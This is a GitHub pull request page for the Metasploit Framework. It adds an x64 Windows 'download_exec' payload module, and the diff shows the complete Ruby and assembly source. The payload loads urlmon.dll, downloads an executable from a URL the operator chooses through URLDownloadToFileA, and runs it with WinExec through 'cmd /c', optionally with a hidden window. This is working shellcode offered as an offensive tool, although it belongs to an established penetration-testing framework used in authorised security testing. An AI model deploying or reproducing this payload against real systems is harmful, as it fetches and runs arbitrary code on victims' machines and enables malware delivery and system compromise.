-
Notifications
You must be signed in to change notification settings - Fork 14.5k
Port payload/windows/download_exec to x64 #20386
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
dledda-r7
merged 8 commits into
rapid7:master
from
xHector1337:payload/windows/x64/download_exec
Aug 13, 2025
Merged
Changes from all commits
Commits
Show all changes
8 commits
Select commit
Hold shift + click to select a range
a412070
Create download_exec.rb
xHector1337 0344591
fix 5th arg for URLDownloadToFileA
xHector1337 90d15cb
finalize the payload
xHector1337 708dcaf
Delete unnecessary comments
xHector1337 af0fe9e
run rubocop -A
xHector1337 b6d9172
chore(rubocop): remove extra white-space
dledda-r7 abe932c
Update payloads_spec.rb
xHector1337 3122426
Update modules/payloads/singles/windows/x64/download_exec.rb
dledda-r7 File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,126 @@ | ||
# frozen_string_literal: true | ||
|
||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
module MetasploitModule | ||
CachedSize = 353 | ||
|
||
include Msf::Payload::Single | ||
include Msf::Payload::Windows | ||
include Msf::Payload::Windows::BlockApi_x64 | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Windows Download Execute', | ||
'Description' => 'Downloads and executes the file from the specified url.', | ||
'Author' => 'Muzaffer Umut ŞAHİN <[email protected]>', | ||
'License' => MSF_LICENSE, | ||
'Platform' => 'win', | ||
'Arch' => ARCH_X64 | ||
) | ||
) | ||
|
||
display_options = %w[HIDE SHOW] | ||
|
||
register_options( | ||
[ | ||
OptString.new('URL', [true, 'The url to download the file from.', 'http://localhost/hi.exe']), | ||
OptString.new('FILEPATH', [true, 'The path to save the downloaded file.', 'fox.exe']), | ||
OptEnum.new('DISPLAY', [true, 'The Display type.', display_options[0], display_options]) | ||
] | ||
) | ||
end | ||
|
||
def generate(_opts = {}) | ||
url = datastore['URL'] || 'http://localhost/hi.exe' | ||
file = datastore['FILEPATH'] || 'fox.exe' | ||
display = datastore['DISPLAY'] || 'HIDE' | ||
|
||
payload = %^ | ||
cld | ||
and rsp, -16 | ||
call main | ||
#{asm_block_api} | ||
|
||
main: | ||
pop rbp | ||
call LoadLibrary | ||
db "urlmon.dllK" | ||
|
||
LoadLibrary: | ||
pop rcx ; rcx points to the dll name. | ||
xor byte [rcx+10], 'K' ; null terminator | ||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} | ||
call rbp ; LoadLibraryA("urlmon.dll") | ||
; To live alone one must be an animal or a god, says Aristotle. There is yet a third case: one must be both--a philosopher. | ||
|
||
SetUrl: | ||
call SetFile | ||
db "#{url}A" | ||
|
||
SetFile: | ||
pop rdx ; 2nd argument | ||
xor byte [rdx+#{url.length}], 'A' ; null terminator | ||
call UrlDownloadToFile | ||
db "#{file}C" | ||
|
||
UrlDownloadToFile: | ||
pop r8 ; 3rd argument | ||
xor byte [r8+#{file.length}], 'C' ; null terminator | ||
xor rcx,rcx ; 1st argument | ||
xor r9,r9 ; 4th argument | ||
sub rsp, 8 | ||
push rcx ; 5th argument | ||
mov r10d, #{Rex::Text.block_api_hash('urlmon.dll', 'URLDownloadToFileA')} | ||
call rbp | ||
|
||
SetCommand: | ||
call Exec | ||
db "cmd /c #{file}F" | ||
|
||
Exec: | ||
pop rcx ; 1st argument | ||
xor byte [rcx+#{file.length + 7}], 'F' ; null terminator | ||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'WinExec')} | ||
xor rdx, rdx ; 2nd argument | ||
^ | ||
|
||
if display == 'HIDE' | ||
hide = %( | ||
call rbp | ||
) | ||
payload << hide | ||
|
||
elsif display == 'SHOW' | ||
show = %( | ||
inc rdx ; SW_NORMAL = 1 | ||
call rbp | ||
) | ||
payload << show | ||
end | ||
|
||
if datastore['EXITFUNC'] == 'process' | ||
exit_asm = %( | ||
xor rcx,rcx | ||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} | ||
call rbp | ||
) | ||
payload << exit_asm | ||
|
||
elsif datastore['EXITFUNC'] == 'thread' | ||
exit_asm = %( | ||
xor rcx,rcx | ||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} | ||
call rbp | ||
) | ||
payload << exit_asm | ||
end | ||
|
||
Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string | ||
end | ||
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.